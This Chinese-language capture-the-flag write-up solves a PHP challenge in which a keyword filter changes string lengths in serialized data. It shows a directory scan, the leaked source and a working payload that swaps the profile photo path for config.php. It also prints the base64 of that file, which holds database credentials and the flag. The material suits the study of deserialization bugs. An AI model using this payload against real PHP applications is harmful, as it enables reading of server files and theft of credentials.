考点:php反序列化字符长度逃逸
打开题目
一般看到登录框,就以为是sql注入题,这道题不是。
dirsearch扫网站目录
python3 dirsearch.py -u "http://16b5eb0b-ac30-452a-808a-0e9214102abd.node3.buuoj.cn/" -s 1 --exclude-status=429,403 -t 1
_|. _ _ _ _ _ _|_ v0.4.1
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 1 | Wordlist size: 10848
Error Log: F:\Tools\WEB\Python-Tools\dirsearch-master\logs\errors-21-04-12_16-36-23.log
Target: http://16b5eb0b-ac30-452a-808a-0e9214102abd.node3.buuoj.cn/
Output File: F:\Tools\WEB\Python-Tools\dirsearch-master\reports\16b5eb0b-ac30-452a-808a-0e9214102abd.node3.buuoj.cn\_21-04-12_16-36-24.txt
[16:36:24] Starting:
[16:36:28] 200 - 392KB - /www.zip
[16:36:33] 200 - 788B - /php
[16:36:38] 200 - 788B - /js
看了别人wp,这道题存在源码泄露,在网站目录会泄漏一个www.zip
文件,用工具扫,还不容易扫出来,我开了代理居然扫不出来。
下载下来,有这么些文件。
分析
关键的三个地方
update.php
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
# 这里会调用 class.php 的 update_profile 方法
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
# 这里调用的是class.php 的 show_profile方法
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
class.php
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
#
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
# 这就是造成序列化漏洞的关键地方
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
# 这个方法将 序列化后的内容 进行了替换 将含有'select', 'insert', 'update', 'delete', 'where' 以上关键字 替换成了 hacker 并且还进行了返回
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
简化来看
<?php
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/';
$str1 = filter(serialize($profile));
var_dump($str1);
echo "<br/>";
$str2 = unserialize($str1);
echo "nickname:".$str2['nickname'];
echo "<br/>";
echo "photo:".$str2['photo'];
function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
?>
按照下列参数进行提交,返回的序列化结果
phone=11111111111&email=123@qq.com&nickname=fany
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:4:"fany";s:5:"photo";s:7:"upload/";}
提交过滤参数,看返回的序列化结果
phone=11111111111&email=123@qq.com&nickname=wherewherewhere
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:15:"hackerhackerhacker";s:5:"photo";s:7:"upload/";}
可以看到出现了报错,原本输入的where序列化后的长度为15,输出显示的时候,经过了filter对其内容进行了过滤,where被替换为hacker,但是序列化后的长度没有变,替换成hacker,由于where比hacker少了一位,所以在读取时,发现读取到15位的时候并没有读取到 ;
所以就照成了报错。
接下来利用这个漏洞
phone=11111111111&email=123@qq.com&nickname=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:7:"upload/";}
直接可以看到photo
变成了config.php。分析一下,";s:5:"photo";s:10:"config.php";}
的字符串长度为33,输入了33个where,总长度为33+33*5=198,在总长度不变的情况下,33个where替换成了33个hacker,
33*6=198,自然读取到的就是 结束的位置,后面接上的";s:5:"photo";s:10:"config.php";}
就接着读取。因为总属性为4个,也已经读取完毕,后边的;s:5:"photo";s:7:"upload/";}
就会被丢去掉。
回到题目
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
update.php 里的 会接收三个参数, p r o f i l e [ ′ p h p o n e ′ ] 、 profile['phpone']、 profile[′phpone′]、profile[‘email’]、$profile[‘nickname’]。
在传入$profile[‘ncikname’]会存在一个条件
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
不是大写字母小写字母数字下划线 或者 字符串长度大于10 就直接报错,停止程序,这里直接就来一手数组绕过。
进行profile.php页面,提交,抓包。
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
得到
PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2U1ZWY1MDE0LWMzZmQtNDIyYS1hNWE4LWYyMDkzMWM0YWNmYX0nOwo/Pgo=
base64解码
坑点
提交的时候 需要将nickname转换为数组进行提交,我提交多次都都还是读取不到,报Warning: file_get_contents(): Filename cannot be empty in /var/www/html/profile.php on line 16,看了他们的payload后,发现在ncikname处有 } 闭合,我就很纳闷,我平时序列化都是末尾才会有这个括号,后来经过验证,只要是数组,都会单独有个闭合。
payload
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}